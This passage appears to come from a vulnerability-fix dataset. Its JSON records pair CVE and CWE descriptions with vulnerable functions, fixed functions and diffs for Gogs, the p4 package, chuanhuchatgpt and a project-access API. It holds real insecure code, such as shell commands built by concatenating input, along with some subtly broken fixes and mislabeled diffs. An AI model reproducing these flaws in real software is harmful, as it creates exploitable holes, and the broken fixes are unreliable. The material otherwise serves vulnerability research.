${projectId}\n    `\n  ctx.status = 200\n})"}, {"id": "vul_js_142_2", "commit": "11cf286cfcc347b9e1a0fada8c277ab4a03a9fc0", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 3, "end_line": 13, "snippet": "export async function verifyProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from project \n        where org_id = (select org_id from account where id = ${userId}) \n          and id = ${projectId}\n      )\n    `\n  return hasAccess\n}"}, {"id": "vul_js_142_3", "commit": "11cf286cfcc347b9e1a0fada8c277ab4a03a9fc0", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 71, "end_line": 104, "snippet": "projects.delete(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const { orgId, userId } = ctx.state\n  console.log(ctx.state)\n\n  const hasProjectAccess = await verifyProjectAccess(projectId, userId)\n  const [user] = await sql`select * from account where id = ${userId}`\n\n  if (!hasProjectAccess) {\n    ctx.throw(401, \"Not allowed\")\n  }\n\n  if (user.role !== \"admin\") {\n    ctx.throw(403, \"You must be an admin to delete a project\")\n  }\n\n  const [{ count }] =\n    await sql`select count(*)::int from  project where org_id = ${orgId}`\n\n  if (count > 1) {\n    await sql`delete from project where id = ${projectId}`\n    ctx.status = 200\n    ctx.body = {}\n    return\n  } else {\n    ctx.status = 422\n\n    ctx.body = {\n      error: \"Deletion Failed\",\n      message: \"An organization must have at least one project.\",\n    }\n    return\n  }\n})"}], "fix_func": [{"id": "fix_js_142_1", "commit": "9eb9e526edff8bf82ae032f7a04867c8d58572bc", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 105, "end_line": 127, "snippet": "projects.patch(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const { userId } = ctx.params\n\n  const hasProjectAccess = await checkProjectAccess(projectId, userId)\n  if (!hasProjectAccess) {\n    ctx.throw(401, \"Unauthorized\")\n  }\n\n  const bodySchema = z.object({\n    name: z.string(),\n  })\n  const { name } = bodySchema.parse(ctx.request.body)\n\n  await sql`\n      update project\n      set\n        name = ${name}\n      where\n        id = ${projectId}\n    `\n  ctx.status = 200\n})"}, {"id": "fix_js_142_2", "commit": "9eb9e526edff8bf82ae032f7a04867c8d58572bc", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 3, "end_line": 13, "snippet": "export async function checkProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from project \n        where org_id = (select org_id from account where id = ${userId}) \n          and id = ${projectId}\n      )\n    `\n  return hasAccess\n}"}, {"id": "fix_js_142_3", "commit": "9eb9e526edff8bf82ae032f7a04867c8d58572bc", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 71, "end_line": 103, "snippet": "projects.delete(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const { orgId, userId } = ctx.state\n\n  const hasProjectAccess = await checkProjectAccess(projectId, userId)\n  const [user] = await sql`select * from account where id = ${userId}`\n\n  if (!hasProjectAccess) {\n    ctx.throw(401, \"Not allowed\")\n  }\n\n  if (user.role !== \"admin\") {\n    ctx.throw(403, \"You must be an admin to delete a project\")\n  }\n\n  const [{ count }] =\n    await sql`select count(*)::int from  project where org_id = ${orgId}`\n\n  if (count > 1) {\n    await sql`delete from project where id = ${projectId}`\n    ctx.status = 200\n    ctx.body = {}\n    return\n  } else {\n    ctx.status = 422\n\n    ctx.body = {\n      error: \"Deletion Failed\",\n      message: \"An organization must have at least one project.\",\n    }\n    return\n  }\n})"}], "vul_patch": "--- a/packages/backend/src/api/v1/projects/index.ts\n+++ b/packages/backend/src/api/v1/projects/index.ts\n@@ -1,5 +1,12 @@\n projects.patch(\"/:projectId\", async (ctx: Context) => {\n   const { projectId } = ctx.params\n+  const { userId } = ctx.params\n+\n+  const hasProjectAccess = await checkProjectAccess(projectId, userId)\n+  if (!hasProjectAccess) {\n+    ctx.throw(401, \"Unauthorized\")\n+  }\n+\n   const bodySchema = z.object({\n     name: z.string(),\n   })\n\n--- a/packages/backend/src/utils/authorization.ts\n+++ b/packages/backend/src/utils/authorization.ts\n@@ -1,4 +1,4 @@\n-export async function verifyProjectAccess(projectId: string, userId: string) {\n+export async function checkProjectAccess(projectId: string, userId: string) {\n   const [{ exists: hasAccess }] = await sql`\n       select exists (\n         select 1 \n\n--- a/packages/backend/src/api/v1/projects/index.ts\n+++ b/packages/backend/src/api/v1/projects/index.ts\n@@ -1,9 +1,8 @@\n projects.delete(\"/:projectId\", async (ctx: Context) => {\n   const { projectId } = ctx.params\n   const { orgId, userId } = ctx.state\n-  console.log(ctx.state)\n \n-  const hasProjectAccess = await verifyProjectAccess(projectId, userId)\n+  const hasProjectAccess = await checkProjectAccess(projectId, userId)\n   const [user] = await sql`select * from account where id = ${userId}`\n \n   if (!hasProjectAccess) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-54148", "cve_description": "Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_206_1", "commit": "25a799a", "file_path": "internal/route/repo/editor.go", "start_line": 122, "end_line": 284, "snippet": "func editFilePost(c *context.Context, f form.EditRepoFile, isNewFile bool) {\n\tc.PageIs(\"Edit\")\n\tc.RequireHighlightJS()\n\tc.RequireSimpleMDE()\n\tc.Data[\"IsNewFile\"] = isNewFile\n\n\toldBranchName := c.Repo.BranchName\n\tbranchName := oldBranchName\n\toldTreePath := c.Repo.TreePath\n\tlastCommit := f.LastCommit\n\tf.LastCommit = c.Repo.Commit.ID.String()\n\n\tif f.IsNewBrnach() {\n\t\tbranchName = f.NewBranchName\n\t}\n\n\tf.TreePath = pathutil.Clean(f.TreePath)\n\ttreeNames, treePaths := getParentTreeFields(f.TreePath)\n\n\tc.Data[\"ParentTreePath\"] = path.Dir(c.Repo.TreePath)\n\tc.Data[\"TreePath\"] = f.TreePath\n\tc.Data[\"TreeNames\"] = treeNames\n\tc.Data[\"TreePaths\"] = treePaths\n\tc.Data[\"BranchLink\"] = c.Repo.RepoLink + \"/src/\" + branchName\n\tc.Data[\"FileContent\"] = f.Content\n\tc.Data[\"commit_summary\"] = f.CommitSummary\n\tc.Data[\"commit_message\"] = f.CommitMessage\n\tc.Data[\"commit_choice\"] = f.CommitChoice\n\tc.Data[\"new_branch_name\"] = branchName\n\tc.Data[\"last_commit\"] = f.LastCommit\n\tc.Data[\"MarkdownFileExts\"] = strings.Join(conf.Markdown.FileExtensions, \",\")\n\tc.Data[\"LineWrapExtensions\"] = strings.Join(conf.Repository.Editor.LineWrapExtensions, \",\")\n\tc.Data[\"PreviewableFileModes\"] = strings.Join(conf.Repository.Editor.PreviewableFileModes, \",\")\n\n\tif c.HasError() {\n\t\tc.Success(tmplEditorEdit)\n\t\treturn\n\t}\n\n\tif f.TreePath == \"\" {\n\t\tc.FormErr(\"TreePath\")\n\t\tc.RenderWithErr(c.Tr(\"repo.editor.filename_cannot_be_empty\"), tmplEditorEdit, &f)\n\t\treturn\n\t}\n\n\tif oldBranchName != branchName {\n\t\tif _, err := c.Repo.Repository.GetBranch(branchName); err == nil {\n\t\t\tc.FormErr(\"NewBranchName\")\n\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.branch_already_exists\", branchName), tmplEditorEdit, &f)\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar newTreePath string\n\tfor index, part := range treeNames {\n\t\tnewTreePath = path.Join(newTreePath, part)\n\t\tentry, err := c.Repo.Commit.TreeEntry(newTreePath)\n\t\tif err != nil {\n\t\t\tif gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\t// Means there is no item with that name, so we're good\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tc.Error(err, \"get tree entry\")\n\t\t\treturn\n\t\t}\n\t\tif index != len(treeNames)-1 {\n\t\t\tif !entry.IsTree() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.directory_is_a_file\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tif entry.IsSymlink() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t} else if entry.IsTree() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.filename_is_a_directory\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tif !isNewFile {\n\t\t_, err := c.Repo.Commit.TreeEntry(oldTreePath)\n\t\tif err != nil {\n\t\t\tif gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_editing_no_longer_exists\", oldTreePath), tmplEditorEdit, &f)\n\t\t\t} else {\n\t\t\t\tc.Error(err, \"get tree entry\")\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tif lastCommit != c.Repo.CommitID {\n\t\t\tfiles, err := c.Repo.Commit.FilesChangedAfter(lastCommit)\n\t\t\tif err != nil {\n\t\t\t\tc.Error(err, \"get changed files\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor _, file := range files {\n\t\t\t\tif file == f.TreePath {\n\t\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_changed_while_editing\", c.Repo.RepoLink+\"/compare/\"+lastCommit+\"...\"+c.Repo.CommitID), tmplEditorEdit, &f)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif oldTreePath != f.TreePath {\n\t\t// We have a new filename (rename or completely new file) so we need to make sure it doesn't already exist, can't clobber.\n\t\tentry, err := c.Repo.Commit.TreeEntry(f.TreePath)\n\t\tif err != nil {\n\t\t\tif !gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\tc.Error(err, \"get tree entry\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif entry != nil {\n\t\t\tc.FormErr(\"TreePath\")\n\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_already_exists\", f.TreePath), tmplEditorEdit, &f)\n\t\t\treturn\n\t\t}\n\t}\n\n\tmessage := strings.TrimSpace(f.CommitSummary)\n\tif message == \"\" {\n\t\tif isNewFile {\n\t\t\tmessage = c.Tr(\"repo.editor.add\", f.TreePath)\n\t\t} else {\n\t\t\tmessage = c.Tr(\"repo.editor.update\", f.TreePath)\n\t\t}\n\t}\n\n\tf.CommitMessage = strings.TrimSpace(f.CommitMessage)\n\tif len(f.CommitMessage) > 0 {\n\t\tmessage += \"\\n\\n\" + f.CommitMessage\n\t}\n\n\tif err := c.Repo.Repository.UpdateRepoFile(c.User, database.UpdateRepoFileOptions{\n\t\tOldBranch:   oldBranchName,\n\t\tNewBranch:   branchName,\n\t\tOldTreeName: oldTreePath,\n\t\tNewTreeName: f.TreePath,\n\t\tMessage:     message,\n\t\tContent:     strings.ReplaceAll(f.Content, \"\\r\", \"\"),\n\t\tIsNewFile:   isNewFile,\n\t}); err != nil {\n\t\tlog.Error(\"Failed to update repo file: %v\", err)\n\t\tc.FormErr(\"TreePath\")\n\t\tc.RenderWithErr(c.Tr(\"repo.editor.fail_to_update_file\", f.TreePath, errors.InternalServerError), tmplEditorEdit, &f)\n\t\treturn\n\t}\n\n\tif f.IsNewBrnach() && c.Repo.PullRequest.Allowed {\n\t\tc.Redirect(c.Repo.PullRequestURL(oldBranchName, f.NewBranchName))\n\t} else {\n\t\tc.Redirect(c.Repo.RepoLink + \"/src/\" + branchName + \"/\" + f.TreePath)\n\t}\n}"}], "fix_func": [{"id": "fix_go_206_1", "commit": "c94baec9ca923f38c19f0c7c5af722b9ec04022a", "file_path": "internal/route/repo/editor.go", "start_line": 122, "end_line": 293, "snippet": "func editFilePost(c *context.Context, f form.EditRepoFile, isNewFile bool) {\n\tc.PageIs(\"Edit\")\n\tc.RequireHighlightJS()\n\tc.RequireSimpleMDE()\n\tc.Data[\"IsNewFile\"] = isNewFile\n\n\toldBranchName := c.Repo.BranchName\n\tbranchName := oldBranchName\n\toldTreePath := c.Repo.TreePath\n\tlastCommit := f.LastCommit\n\tf.LastCommit = c.Repo.Commit.ID.String()\n\n\tif f.IsNewBrnach() {\n\t\tbranchName = f.NewBranchName\n\t}\n\n\tf.TreePath = pathutil.Clean(f.TreePath)\n\ttreeNames, treePaths := getParentTreeFields(f.TreePath)\n\n\tc.Data[\"ParentTreePath\"] = path.Dir(c.Repo.TreePath)\n\tc.Data[\"TreePath\"] = f.TreePath\n\tc.Data[\"TreeNames\"] = treeNames\n\tc.Data[\"TreePaths\"] = treePaths\n\tc.Data[\"BranchLink\"] = c.Repo.RepoLink + \"/src/\" + branchName\n\tc.Data[\"FileContent\"] = f.Content\n\tc.Data[\"commit_summary\"] = f.CommitSummary\n\tc.Data[\"commit_message\"] = f.CommitMessage\n\tc.Data[\"commit_choice\"] = f.CommitChoice\n\tc.Data[\"new_branch_name\"] = branchName\n\tc.Data[\"last_commit\"] = f.LastCommit\n\tc.Data[\"MarkdownFileExts\"] = strings.Join(conf.Markdown.FileExtensions, \",\")\n\tc.Data[\"LineWrapExtensions\"] = strings.Join(conf.Repository.Editor.LineWrapExtensions, \",\")\n\tc.Data[\"PreviewableFileModes\"] = strings.Join(conf.Repository.Editor.PreviewableFileModes, \",\")\n\n\tif c.HasError() {\n\t\tc.Success(tmplEditorEdit)\n\t\treturn\n\t}\n\n\tif f.TreePath == \"\" {\n\t\tc.FormErr(\"TreePath\")\n\t\tc.RenderWithErr(c.Tr(\"repo.editor.filename_cannot_be_empty\"), tmplEditorEdit, &f)\n\t\treturn\n\t}\n\n\tif oldBranchName != branchName {\n\t\tif _, err := c.Repo.Repository.GetBranch(branchName); err == nil {\n\t\t\tc.FormErr(\"NewBranchName\")\n\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.branch_already_exists\", branchName), tmplEditorEdit, &f)\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar newTreePath string\n\tfor index, part := range treeNames {\n\t\tnewTreePath = path.Join(newTreePath, part)\n\t\tentry, err := c.Repo.Commit.TreeEntry(newTreePath)\n\t\tif err != nil {\n\t\t\tif gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\t// Means there is no item with that name, so we're good\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tc.Error(err, \"get tree entry\")\n\t\t\treturn\n\t\t}\n\t\tif index != len(treeNames)-1 {\n\t\t\tif !entry.IsTree() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.directory_is_a_file\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\t// \\ud83d\\udea8 SECURITY: Do not allow editing if the target file is a symlink.\n\t\t\tif entry.IsSymlink() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t} else if entry.IsTree() {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.filename_is_a_directory\", part), tmplEditorEdit, &f)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tif !isNewFile {\n\t\tentry, err := c.Repo.Commit.TreeEntry(oldTreePath)\n\t\tif err != nil {\n\t\t\tif gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\tc.FormErr(\"TreePath\")\n\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_editing_no_longer_exists\", oldTreePath), tmplEditorEdit, &f)\n\t\t\t} else {\n\t\t\t\tc.Error(err, \"get tree entry\")\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\t// \\ud83d\\udea8 SECURITY: Do not allow editing if the old file is a symlink.\n\t\tif entry.IsSymlink() {\n\t\t\tc.FormErr(\"TreePath\")\n\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", oldTreePath), tmplEditorEdit, &f)\n\t\t\treturn\n\t\t}\n\n\t\tif lastCommit != c.Repo.CommitID {\n\t\t\tfiles, err := c.Repo.Commit.FilesChangedAfter(lastCommit)\n\t\t\tif err != nil {\n\t\t\t\tc.Error(err, \"get changed files\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor _, file := range files {\n\t\t\t\tif file == f.TreePath {\n\t\t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_changed_while_editing\", c.Repo.RepoLink+\"/compare/\"+lastCommit+\"...\"+c.Repo.CommitID), tmplEditorEdit, &f)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif oldTreePath != f.TreePath {\n\t\t// We have a new filename (rename or completely new file) so we need to make sure it doesn't already exist, can't clobber.\n\t\tentry, err := c.Repo.Commit.TreeEntry(f.TreePath)\n\t\tif err != nil {\n\t\t\tif !gitutil.IsErrRevisionNotExist(err) {\n\t\t\t\tc.Error(err, \"get tree entry\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif entry != nil {\n\t\t\tc.FormErr(\"TreePath\")\n\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_already_exists\", f.TreePath), tmplEditorEdit, &f)\n\t\t\treturn\n\t\t}\n\t}\n\n\tmessage := strings.TrimSpace(f.CommitSummary)\n\tif message == \"\" {\n\t\tif isNewFile {\n\t\t\tmessage = c.Tr(\"repo.editor.add\", f.TreePath)\n\t\t} else {\n\t\t\tmessage = c.Tr(\"repo.editor.update\", f.TreePath)\n\t\t}\n\t}\n\n\tf.CommitMessage = strings.TrimSpace(f.CommitMessage)\n\tif len(f.CommitMessage) > 0 {\n\t\tmessage += \"\\n\\n\" + f.CommitMessage\n\t}\n\n\tif err := c.Repo.Repository.UpdateRepoFile(c.User, database.UpdateRepoFileOptions{\n\t\tOldBranch:   oldBranchName,\n\t\tNewBranch:   branchName,\n\t\tOldTreeName: oldTreePath,\n\t\tNewTreeName: f.TreePath,\n\t\tMessage:     message,\n\t\tContent:     strings.ReplaceAll(f.Content, \"\\r\", \"\"),\n\t\tIsNewFile:   isNewFile,\n\t}); err != nil {\n\t\tlog.Error(\"Failed to update repo file: %v\", err)\n\t\tc.FormErr(\"TreePath\")\n\t\tc.RenderWithErr(c.Tr(\"repo.editor.fail_to_update_file\", f.TreePath, errors.InternalServerError), tmplEditorEdit, &f)\n\t\treturn\n\t}\n\n\tif f.IsNewBrnach() && c.Repo.PullRequest.Allowed {\n\t\tc.Redirect(c.Repo.PullRequestURL(oldBranchName, f.NewBranchName))\n\t} else {\n\t\tc.Redirect(c.Repo.RepoLink + \"/src/\" + branchName + \"/\" + f.TreePath)\n\t}\n}"}], "vul_patch": "--- a/internal/route/repo/editor.go\n+++ b/internal/route/repo/editor.go\n@@ -71,6 +71,7 @@\n \t\t\t\treturn\n \t\t\t}\n \t\t} else {\n+\t\t\t// \\ud83d\\udea8 SECURITY: Do not allow editing if the target file is a symlink.\n \t\t\tif entry.IsSymlink() {\n \t\t\t\tc.FormErr(\"TreePath\")\n \t\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", part), tmplEditorEdit, &f)\n@@ -84,7 +85,7 @@\n \t}\n \n \tif !isNewFile {\n-\t\t_, err := c.Repo.Commit.TreeEntry(oldTreePath)\n+\t\tentry, err := c.Repo.Commit.TreeEntry(oldTreePath)\n \t\tif err != nil {\n \t\t\tif gitutil.IsErrRevisionNotExist(err) {\n \t\t\t\tc.FormErr(\"TreePath\")\n@@ -94,6 +95,14 @@\n \t\t\t}\n \t\t\treturn\n \t\t}\n+\n+\t\t// \\ud83d\\udea8 SECURITY: Do not allow editing if the old file is a symlink.\n+\t\tif entry.IsSymlink() {\n+\t\t\tc.FormErr(\"TreePath\")\n+\t\t\tc.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", oldTreePath), tmplEditorEdit, &f)\n+\t\t\treturn\n+\t\t}\n+\n \t\tif lastCommit != c.Repo.CommitID {\n \t\t\tfiles, err := c.Repo.Commit.FilesChangedAfter(lastCommit)\n \t\t\tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-25171", "cve_description": "The package p4 before 0.0.7 are vulnerable to Command Injection via the run() function due to improper input sanitization", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/natelong/p4", "patch_url": ["https://github.com/natelong/p4/commit/ae42e251beabf67c00539ec0e1d7aa149ca445fb"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_118_1", "commit": "d37c2b9", "file_path": "p4.js", "start_line": 6, "end_line": 18, "snippet": "function runCommand(command, args, done) {\n    if(typeof args === \"function\") {\n        done = args;\n        args = \"\";\n    }\n\n    exec(\"p4 \" + command + \" \" + (args || \"\"), function(err, stdOut, stdErr) {\n        if(err) return done(err);\n        if(stdErr) return done(new Error(stdErr));\n\n        done(null, stdOut);\n    });\n}"}], "fix_func": [{"id": "fix_js_118_1", "commit": "ae42e25", "file_path": "p4.js", "start_line": 6, "end_line": 34, "snippet": "function runCommand(command, args, done) {\n    if(typeof args === \"function\") {\n        done = args;\n        args = \"\";\n    }\n\n    if(!Array.isArray(args)) {\n        args = [args];\n    }\n    args.unshift(command);\n\n    var child = spawn(\"p4\", args);\n    var stdOutBuf = \"\";\n    var stdErrBuf = \"\";\n\n    child.stdout.on(\"data\", (data) => stdOutBuf += data);\n    child.stderr.on(\"data\", (data) => stdErrBuf += data)\n    child.on(\"exit\", (code) => {\n        if (code !== 0) {\n            return done(new Error(`p4 subcommand exited with return code ${}`));\n        }\n\n        if (stdErrBuf.length > 0) {\n            return done(new Error(stdErrBuf));\n        }\n\n        done(null, stdOutBuf);\n    });\n}"}], "vul_patch": "--- a/p4.js\n+++ b/p4.js\n@@ -4,10 +4,26 @@\n         args = \"\";\n     }\n \n-    exec(\"p4 \" + command + \" \" + (args || \"\"), function(err, stdOut, stdErr) {\n-        if(err) return done(err);\n-        if(stdErr) return done(new Error(stdErr));\n+    if(!Array.isArray(args)) {\n+        args = [args];\n+    }\n+    args.unshift(command);\n \n-        done(null, stdOut);\n+    var child = spawn(\"p4\", args);\n+    var stdOutBuf = \"\";\n+    var stdErrBuf = \"\";\n+\n+    child.stdout.on(\"data\", (data) => stdOutBuf += data);\n+    child.stderr.on(\"data\", (data) => stdErrBuf += data)\n+    child.on(\"exit\", (code) => {\n+        if (code !== 0) {\n+            return done(new Error(`p4 subcommand exited with return code ${}`));\n+        }\n+\n+        if (stdErrBuf.length > 0) {\n+            return done(new Error(stdErrBuf));\n+        }\n+\n+        done(null, stdOutBuf);\n     });\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5823", "cve_description": "A file overwrite vulnerability exists in gaizhenbiao/chuanhuchatgpt versions <= 20240410. This vulnerability allows an attacker to gain unauthorized access to overwrite critical configuration files within the system. Exploiting this vulnerability can lead to unauthorized changes in system behavior or security settings. Additionally, tampering with these configuration files can result in a denial of service (DoS) condition, disrupting normal system operation.", "cwe_info": {"CWE-610": {"name": "Externally Controlled Reference to a Resource in Another Sphere", "description": "The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere."}}, "repo": "https://github.com/gaizhenbiao/chuanhuchatgpt", "patch_url": ["https://github.com/gaizhenbiao/chuanhuchatgpt/commit/720c23d755a4a955dcb0a54e8c200a2247a27f8b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_56_1", "commit": "ffea5e9", "file_path": "modules/utils.py", "start_line": 744, "end_line": 760, "snippet": "def update_chuanhu():\n    from .repo import background_update\n\n    print(\"[Updater] Trying to update...\")\n    update_status = background_update()\n    if update_status == \"success\":\n        logging.info(\"Successfully updated, restart needed\")\n        status = '<span id=\"update-status\" class=\"hideK\">success</span>'\n        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n    else:\n        status = '<span id=\"update-status\" class=\"hideK\">failure</span>'\n        return gr.Markdown(\n            value=i18n(\n                \"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n            )\n            + status\n        )"}], "fix_func": [{"id": "fix_py_56_1", "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b", "file_path": "ChuanhuChatbot.py", "start_line": 784, "end_line": 784, "snippet": "        [user_name],"}, {"id": "fix_py_56_2", "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b", "file_path": "modules/utils.py", "start_line": 744, "end_line": 762, "snippet": "def update_chuanhu(username):\n    if username not in admin_list:\n        return gr.Markdown(value=i18n(\"no_permission_to_update_description\"))\n    from .repo import background_update\n\n    print(\"[Updater] Trying to update...\")\n    update_status = background_update()\n    if update_status == \"success\":\n        logging.info(\"Successfully updated, restart needed\")\n        status = '<span id=\"update-status\" class=\"hideK\">success</span>'\n        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n    else:\n        status = '<span id=\"update-status\" class=\"hideK\">failure</span>'\n        return gr.Markdown(\n            value=i18n(\n                \"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n            )\n            + status\n        )"}, {"id": "fix_py_56_3", "commit": "720c23d755a4a955dcb0a54e8c200a2247a27f8b", "file_path": "modules/utils.py", "start_line": 30, "end_line": 30, "snippet": "from modules.config import retrieve_proxy, hide_history_when_not_logged_in, admin_list"}], "vul_patch": "--- a/modules/utils.py\n+++ b/ChuanhuChatbot.py\n@@ -1,17 +1 @@\n-def update_chuanhu():\n-    from .repo import background_update\n-\n-    print(\"[Updater] Trying to update...\")\n-    update_status = background_update()\n-    if update_status == \"success\":\n-        logging.info(\"Successfully updated, restart needed\")\n-        status = '<span id=\"update-status\" class=\"hideK\">success</span>'\n-        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n-    else:\n-        status = '<span id=\"update-status\" class=\"hideK\">failure</span>'\n-        return gr.Markdown(\n-            value=i18n(\n-                \"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n-            )\n-            + status\n-        )\n+        [user_name],\n\n--- /dev/null\n+++ b/ChuanhuChatbot.py\n@@ -0,0 +1,19 @@\n+def update_chuanhu(username):\n+    if username not in admin_list:\n+        return gr.Markdown(value=i18n(\"no_permission_to_update_description\"))\n+    from .repo import background_update\n+\n+    print(\"[Updater] Trying to update...\")\n+    update_status = background_update()\n+    if update_status == \"success\":\n+        logging.info(\"Successfully updated, restart needed\")\n+        status = '<span id=\"update-status\" class=\"hideK\">success</span>'\n+        return gr.Markdown(value=i18n(\"\\u66f4\\u65b0\\u6210\\u529f\\uff0c\\u8bf7\\u91cd\\u542f\\u672c\\u7a0b\\u5e8f\") + status)\n+    else:\n+        status = '<span id=\"update-status\" class=\"hideK\">failure</span>'\n+        return gr.Markdown(\n+            value=i18n(\n+                